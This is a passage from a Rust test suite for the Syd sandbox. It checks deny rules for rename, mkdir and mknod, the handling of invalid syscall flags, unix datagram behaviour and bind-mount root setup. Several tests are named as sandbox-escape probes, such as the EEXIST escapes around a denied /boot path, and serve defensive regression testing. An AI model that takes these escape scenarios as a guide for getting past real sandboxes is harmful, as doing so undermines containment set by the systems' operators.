drop(dummy);
let status = syd()
.p("off")
.m("sandbox/rename,delete,create:on")
.m("allow/rename,create+/***")
.m("deny/delete+/***/target")
.do_("rename", ["dummy", "target"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_rename_exchange_deny_dest() -> TestResult {
let mut a = File::create("a").unwrap();
a.write_all(b"PROTECTED").unwrap();
drop(a);
let mut b = File::create("b").unwrap();
b.write_all(b"ATTACKER").unwrap();
drop(b);
let status = syd()
.p("off")
.m("sandbox/rename:on")
.m("allow/rename+/***/b")
.m("deny/rename+/***/a")
.do_("rename_exchange", ["b", "a"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_mkdir_eexist_escape() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/stat,walk,mkdir:on")
.m("allow/stat,walk,mkdir+/***")
.m("deny/stat,walk,mkdir+/boot/***")
.do_("mkdir_eexist_escape", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mkdirat_eexist_escape() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/stat,walk,mkdir:on")
.m("allow/stat,walk,mkdir+/***")
.m("deny/stat,walk,mkdir+/boot/***")
.do_("mkdirat_eexist_escape", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mknod_eexist_escape() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/stat,walk,create:on")
.m("allow/stat,walk,create+/***")
.m("deny/stat,walk,create+/boot/***")
.do_("mknod_eexist_escape", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mknodat_eexist_escape() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/stat,walk,create:on")
.m("allow/stat,walk,create+/***")
.m("deny/stat,walk,create+/boot/***")
.do_("mknodat_eexist_escape", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fopen_supports_mode_x() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("fopen_supports_mode_x", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fopen_supports_mode_e() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("fopen_supports_mode_e", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_link_no_symlink_deref() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("link_no_symlink_deref", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_link_posix() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,delete,rename:on")
.m("allow/read,stat,write,create,delete,rename+/***")
.do_("link_posix", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_linkat_posix() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,delete,rename:on")
.m("allow/read,stat,write,create,delete,rename+/***")
.do_("linkat_posix", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_cp_overwrite() -> TestResult {
skip_unless_available!("sh");
// On a buggy Syd, the second cp fails with:
// cp: cannot stat 'null/null': Not a directory
let status = syd()
.p("off")
.m("sandbox/read,write,create,stat:on")
.m("allow/read,write,create,stat+/***")
.argv(["sh", "-cex"])
.arg(
r#"
cp /dev/null null
cp /dev/null null
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_getcwd_long_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("getcwd_long", NONE)
.status()
.expect("execute syd");
assert!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_getcwd_long_paludis() -> TestResult {
skip_unless_trusted!();
let status = syd()
.p("paludis")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:on")
.do_("getcwd_long", NONE)
.status()
.expect("execute syd");
assert!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_pwd_long_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("pwd_long", NONE)
.status()
.expect("execute syd");
assert!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_pwd_long_paludis() -> TestResult {
skip_unless_trusted!();
let status = syd()
.p("paludis")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:on")
.do_("pwd_long", NONE)
.status()
.expect("execute syd");
assert!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_creat_thru_dangling_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("creat_thru_dangling", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 14);
Ok(())
}
fn test_syd_creat_thru_dangling_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/allow_unsafe_create:1")
.do_("creat_thru_dangling", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_creat_excl_thru_dangling() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("creat_excl_thru_dangling", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_creat_invalid_mode_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "creat_invalid_mode")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_creat_invalid_mode_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("creat_invalid_mode", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_invalid_mode_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "open_invalid_mode")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_invalid_mode_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("open_invalid_mode", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_openat_invalid_mode_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "openat_invalid_mode")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_openat_invalid_mode_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("openat_invalid_mode", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_openat2_invalid_mode_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "openat2_invalid_mode")
.status()
.expect("execute syd-test-do");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_openat2_invalid_mode_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("openat2_invalid_mode", NONE)
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_openat_invalid_tmpfile_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "openat_invalid_tmpfile")
.status()
.expect("execute syd-test-do");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_openat_invalid_tmpfile_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/mktemp+/***")
.do_("openat_invalid_tmpfile", NONE)
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_socket_invalid_type_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "socket_invalid_type")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_socket_invalid_type_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("socket_invalid_type", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_socketpair_invalid_type_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "socketpair_invalid_type")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_socketpair_invalid_type_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.do_("socketpair_invalid_type", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendto_invalid_flag_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "sendto_invalid_flag")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendto_invalid_flag_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.do_("sendto_invalid_flag", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_invalid_flag_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "sendmsg_invalid_flag")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_invalid_flag_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.do_("sendmsg_invalid_flag", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvfrom_invalid_flag_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "recvfrom_invalid_flag")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvfrom_invalid_flag_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.do_("recvfrom_invalid_flag", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmsg_invalid_flag_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "recvmsg_invalid_flag")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmsg_invalid_flag_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.do_("recvmsg_invalid_flag", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmmsg_invalid_flag_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "sendmmsg_invalid_flag")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmmsg_invalid_flag_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.do_("sendmmsg_invalid_flag", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmmsg_invalid_flag_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "recvmmsg_invalid_flag")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmmsg_invalid_flag_syd() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.do_("recvmmsg_invalid_flag", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mkdirat_non_dir_fd() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("mkdirat_non_dir_fd", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_blocking_udp4() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("trace/allow_safe_bind:0")
.m("allow/read,stat,write,create+/***")
.m("allow/net/bind+loopback!65432")
.m("allow/net/connect+loopback!65432")
.do_("blocking_udp4", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_blocking_udp6() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("trace/allow_safe_bind:0")
.m("allow/read,stat,write,create+/***")
.m("allow/net/bind+loopback6!65432")
.m("allow/net/connect+loopback6!65432")
.do_("blocking_udp6", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_connect_unix_null_allow() -> TestResult {
let status = syd()
.p("off")
.do_("connect_unix_abstract_null", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_connect_unix_null_deny() -> TestResult {
// @syd_test\0null hex-encoded: 407379645f74657374006e756c6c
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/net/bind+@*")
.m("allow/net/connect+@*")
.m("deny/net/connect+407379645f74657374006e756c6c")
.do_("connect_unix_abstract_null", NONE)
.status()
.expect("execute syd");
assert_status_connection_refused!(status);
Ok(())
}
fn test_syd_recvfrom_unix_dgram_addr() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvfrom_unix_dgram_addr", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvfrom_unix_dgram_connected() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvfrom_unix_dgram_connected", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvfrom_unix_dgram_ambiguous() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvfrom_unix_dgram_ambiguous", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmsg_unix_dgram_addr() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmsg_unix_dgram_addr", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmsg_unix_dgram_connected() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmsg_unix_dgram_connected", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmsg_unix_dgram_ambiguous() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmsg_unix_dgram_ambiguous", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmmsg_unix_dgram_addr() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmmsg_unix_dgram_addr", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmmsg_unix_dgram_connected() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmmsg_unix_dgram_connected", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmmsg_unix_dgram_ambiguous() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmmsg_unix_dgram_ambiguous", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmmsg_unix_dgram_multidst() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmmsg_unix_dgram_multidst", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvfrom_unix_dgram_seqsend() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvfrom_unix_dgram_seqsend", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvfrom_unix_dgram_overflow() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvfrom_unix_dgram_overflow", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmsg_unix_dgram_overflow() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmsg_unix_dgram_overflow", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// This hangs on Alpine CI so we mark it expensive.
fn test_syd_exp_recvmmsg_unix_dgram_overflow() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.do_("recvmmsg_unix_dgram_overflow", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvfrom_unix_dgram_abstract() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.m("allow/bnet,cnet+@***")
.do_("recvfrom_unix_dgram_abstract", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmsg_unix_dgram_abstract() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.m("allow/bnet,cnet+@***")
.do_("recvmsg_unix_dgram_abstract", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_recvmmsg_unix_dgram_abstract() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("allow/all+/***")
.m("allow/bnet,cnet+@***")
.do_("recvmmsg_unix_dgram_abstract", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_close_on_exec() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.do_("close_on_exec", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_open_exclusive_restart() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.do_("open_exclusive_restart", NONE)
.status()
.expect("execute syd");
// FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
ignore!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_open_exclusive_repeat() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.do_("open_exclusive_repeat", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_find_root_mount_1() -> TestResult {
skip_unless_unshare!("user", "mount");
skip_unless_available!("findmnt");
let output = syd()
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.p("off")
.m("unshare/user,mount:1")
.argv(["sh", "-cex"])
.arg("findmnt -no TARGET /")
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let data = String::from_utf8_lossy(&output.stdout);
assert_eq!(
data.lines().count(),
1,
"findmnt should return a single entry for rootfs: {data}"
);
Ok(())
}
fn test_syd_find_root_mount_2() -> TestResult {
skip_unless_unshare!("user", "mount");
skip_unless_available!("findmnt");
let output = syd()
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.p("off")
.m("bind+/:/:nosuid,nosymfollow")
.m("unshare/user,mount:1")
.argv(["sh", "-cex"])
.arg("findmnt -no TARGET /")
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let data = String::from_utf8_lossy(&output.stdout);
assert_eq!(
data.lines().count(),
2,
"findmnt should return two entries for rootfs: {data}"
);
Ok(())
}
fn test_syd_root_bind_tmp() -> TestResult {
skip_unless_available!("sh", "stat");
skip_unless_unshare!("user", "mount");
let mut syd = syd();
syd.p("off").m("unshare/user,mount:1").m("root:tmpfs");
// Directory binds.
let mut bind_dirs = vec![];
for dir in ["/bin", "/usr", "/var", "/lib", "/lib32", "/lib64"] {
if !XPath::from_bytes(dir.as_bytes()).is_dir() {
continue;
}
syd.m(format!("bind-try+{dir}-void:{dir}"));
syd.m(format!("bind+{dir}:{dir}"));
bind_dirs.push(dir);
}
// File binds.
let mut bind_files = vec![];
for file in [
"/etc/hosts",
"/etc/hostname",
"/etc/passwd",
"/etc/resolv.conf",
] {
let path = XPath::from_bytes(file.as_bytes());
if !path.is_file() || path.is_symlink() {
continue;
}
syd.m(format!("bind-try+{file}-void:{file}"));
syd.m(format!("bind+{file}:{file}"));
bind_files.push(file);
}
// Symlink bind.
let cwd = current_dir(false)?.canonicalize()?;
let dst = cwd.join("lnk");
let sym = "/tmp/1/2/3/4/5/6/7/lnk";
symlink("/etc/passwd", &dst)?;
syd.m(format!("bind-try+{}-void:{sym}", dst.display()));
syd.m(format!("bind+{}:{sym}", dst.display()));
syd.env("SYD_TEST_BIND_DIRS", bind_dirs.join(" "));
syd.env("SYD_TEST_BIND_FILES", bind_files.join(" "));
syd.env("SYD_TEST_LINK", sym);
// Make directory and file.
syd.m("mkdir+/opt");
syd.m("mkdir+/opt/d");
syd.m("mkdir+/opt/d/u400:0400");
syd.m("mkdir+/opt/d/u500:0500");
syd.m("mkdir+/opt/d/u600:0600");
syd.m("mkdir+/opt/d/u700:0700");
syd.m("mkdir+/opt/d/u755:0755");
syd.m("mkdir+/opt/d/u750:0750");
syd.m("mkdir+/opt/d/u711:0711");
syd.m("mkdir+/opt/d/u555:0555");
syd.m("mkdir+/opt/d/u100:0100");
syd.m("mkdir+/opt/d/u200:0200");
syd.m("mkdir+/opt/d/u300:0300");
syd.m("mkdir+/opt/d/u050:0050");
syd.m("mkdir+/opt/d/u005:0005");
syd.m("mkdir+/opt/d/u777:0777");
syd.m("mkdir+/opt/d/u1777:1777");
syd.m("mkdir+/opt/d/u1755:1755");
syd.m("mkdir+/opt/d/u1700:1700");
syd.m("mkdir+/opt/d/u1000:1000");
syd.m("mkdir+/opt/d/u2755:2755");
syd.m("mkdir+/opt/d/u4755:4755");
syd.m("mkdir+/opt/d/u6755:6755");
syd.m("mkdir+/opt/d/u7777:7777");
syd.m("mkdir+/opt/d/default");
syd.m("mkdir+/opt/f");
syd.m("mkfile+/opt/f/u400:0400");
syd.m("mkfile+/opt/f/u600:0600");
syd.m("mkfile+/opt/f/u644:0644");
syd.m("mkfile+/opt/f/u640:0640");
syd.m("mkfile+/opt/f/u444:0444");
syd.m("mkfile+/opt/f/u755:0755");
syd.m("mkfile+/opt/f/u100:0100");
syd.m("mkfile+/opt/f/u200:0200");
syd.m("mkfile+/opt/f/u004:0004");
syd.m("mkfile+/opt/f/u777:0777");
syd.m("mkfile+/opt/f/u1755:1755");
syd.m("mkfile+/opt/f/u1777:1777");
syd.m("mkfile+/opt/f/u2755:2755");
syd.m("mkfile+/opt/f/u4755:4755");
syd.m("mkfile+/opt/f/u6755:6755");
syd.m("mkfile+/opt/f/u7777:7777");
syd.m("mkfile+/opt/f/default");
syd.m("mkdir-try+/opt");
syd.m("mkdir-try+/opt/d");
syd.m("mkdir-try+/opt/d/u700:0700");
syd.m("mkdir-try+/opt/d/u1777:1777");
syd.m("mkdir-try+/opt/d/default");
syd.m("mkfile-try+/opt/f/u600:0600");
syd.m("mkfile-try+/opt/f/u1755:1755");
syd.m("mkfile-try+/opt/f/default");
// Parent dir creation tests.
syd.m("mkdir+/opt/p/a/b/c:0700");
syd.m("mkdir+/opt/p/a/b/d:0500");
syd.m("mkdir+/opt/p/x/y/z:0100");
syd.m("mkfile+/opt/p/m/n/o:0600");
syd.m("mkfile+/opt/p/m/n/p:0400");
syd.m("mkdir+/opt/p/deep/nested/path/to/dir:0700");
syd.m("mkfile+/opt/p/deep/nested/path/to/file:0600");
syd.m("mkdir-try+/opt/p/a/b/c:0700");
syd.m("mkfile-try+/opt/p/m/n/o:0600");
// bind + mkdir combination.
syd.m("mkdir+/opt/bind_d1");
syd.m("bind+/sys:/opt/bind_d1");
syd.m("mkdir+/opt/bind_d2:0500");
syd.m("bind+/dev:/opt/bind_d2");
syd.m("mkdir+/opt/bind_nest/a/b");
syd.m("bind+/sys:/opt/bind_nest/a/b");
syd.m("mkdir+/opt/bind_multi/sys_dir");
syd.m("mkdir+/opt/bind_multi/dev_dir");
syd.m("bind+/sys:/opt/bind_multi/sys_dir");
syd.m("bind+/dev:/opt/bind_multi/dev_dir");
syd.m("mkdir+/opt/bind_f/devs");
syd.m("bind+/dev/null:/opt/bind_f/devs/null");
syd.m("bind+/dev/zero:/opt/bind_f/devs/zero");
syd.m("bind+/dev/urandom:/opt/bind_f/devs/urandom");
syd.m("bind+/dev/null:/opt/bind_f/deep/a/b/c/null_deep");
syd.m("mkdir+/opt/bind_coexist");
syd.m("mkfile+/opt/bind_coexist/my_file:0400");
syd.m("bind+/dev/zero:/opt/bind_coexist/bound_zero");
syd.m("mkdir-try+/opt/bind_d1");
syd.m("mkdir-try+/opt/bind_nest/a/b");
syd.m("mkdir-try+/opt/bind_multi/proc_dir");
syd.m("mkdir-try+/opt/bind_f/devs");
syd.m("mkfile-try+/opt/bind_coexist/my_file");
syd.m("mkfile+/opt/bind_chain/x/y/leaf:0600");
syd.m("bind+/sys:/opt/bind_chain/x");
syd.m("mkdir+/opt/bind_tree/l1/l2/l3");
syd.m("bind+/dev/null:/opt/bind_tree/l1/null_l1");
syd.m("bind+/dev/zero:/opt/bind_tree/l1/l2/zero_l2");
syd.m("bind+/dev/urandom:/opt/bind_tree/l1/l2/l3/urandom_l3");
// link and link-try.
syd.m("link+/default:/opt/f/default");
syd.m("link+/link/default:/opt/f/default");
syd.m("link+/link/h/default:/opt/f/default");
syd.m("link-try+/default:/opt/f/default");
syd.m("link-try+/link/default:/opt/f/default");
syd.m("link-try+/link/h/default:/opt/f/default");
// symlink and symlink-try.
syd.m("symlink+/default-link:/opt/f/default");
syd.m("symlink+/symlink/default:/opt/f/default");
syd.m("symlink+/symlink/s/default:/opt/f/default");
syd.m("symlink-try+/default-link:/opt/f/default");
syd.m("symlink-try+/symlink/default:/opt/f/default");
syd.m("symlink-try+/symlink/s/default:/opt/f/default");
// link + symlink combination.
syd.m("link+/default-link-link:/default-link");
syd.m("link+/linklink/default:/symlink/default");
syd.m("link+/linklink/l/default:/symlink/s/default");
syd.m("link-try+/default-link-link:/default-link");
syd.m("link-try+/linklink/default:/symlink/default");
syd.m("link-try+/linklink/l/default:/symlink/s/default");
// mkfifo.
syd.m("mkfifo+/fifo");
syd.m("mkfifo+/fifodir/fifo");
syd.m("mkfifo+/fifodir/f/fifo");
syd.m("mkfifo-try+/fifo");
syd.m("mkfifo-try+/fifodir/fifo");
syd.m("mkfifo-try+/fifodir/f/fifo");
// link + mkfifo combination.
syd.m("link+/default-fifo:/fifo");
syd.m("link+/linkfifo/fifo:/fifodir/fifo");
syd.m("link+/linkfifo/l/fifo:/fifodir/f/fifo");
syd.m("link-try+/default-fifo:/fifo");
syd.m("link-try+/linkfifo/fifo:/fifodir/fifo");
syd.m("link-try+/linkfifo/l/fifo:/fifodir/f/fifo");
// workdir.
syd.m("workdir:/opt");
syd.m("workdir:/opt/bind_f");
syd.m("workdir:none");
syd.m("workdir:off");
syd.m("workdir:/opt/bind_f/devs");
let status = syd
.argv(["sh", "-cex"])
.arg(
r#"
for dir in $SYD_TEST_BIND_DIRS; do
test -d "$dir"
done
for file in $SYD_TEST_BIND_FILES; do
test -f "$file"
done
test -L "$SYD_TEST_LINK"
test -c /dev/null
test -L /proc/self
test -d /opt
test -d /opt/d
test -d /opt/f
test "$(stat -c %a /opt/d/u400)" = 400
test "$(stat -c %a /opt/d/u500)" = 500
test "$(stat -c %a /opt/d/u600)" = 600
test "$(stat -c %a /opt/d/u700)" = 700
test "$(stat -c %a /opt/d/u755)" = 700
test "$(stat -c %a /opt/d/u750)" = 700
test "$(stat -c %a /opt/d/u711)" = 700
test "$(stat -c %a /opt/d/u555)" = 500
test "$(stat -c %a /opt/d/u100)" = 100
test "$(stat -c %a /opt/d/u200)" = 200
test "$(stat -c %a /opt/d/u300)" = 300
test "$(stat -c %a /opt/d/u050)" = 0
test "$(stat -c %a /opt/d/u005)" = 0
test "$(stat -c %a /opt/d/u777)" = 700
test "$(stat -c %a /opt/d/u1777)" = 1700
test "$(stat -c %a /opt/d/u1755)" = 1700
test "$(stat -c %a /opt/d/u1700)" = 1700
test "$(stat -c %a /opt/d/u1000)" = 1000
test "$(stat -c %a /opt/d/u2755)" = 700
test "$(stat -c %a /opt/d/u4755)" = 700
test "$(stat -c %a /opt/d/u6755)" = 700
test "$(stat -c %a /opt/d/u7777)" = 1700
test "$(stat -c %a /opt/d/default)" = 700
test "$(stat -c %a /opt/f/u400)" = 400
test "$(stat -c %a /opt/f/u600)" = 600
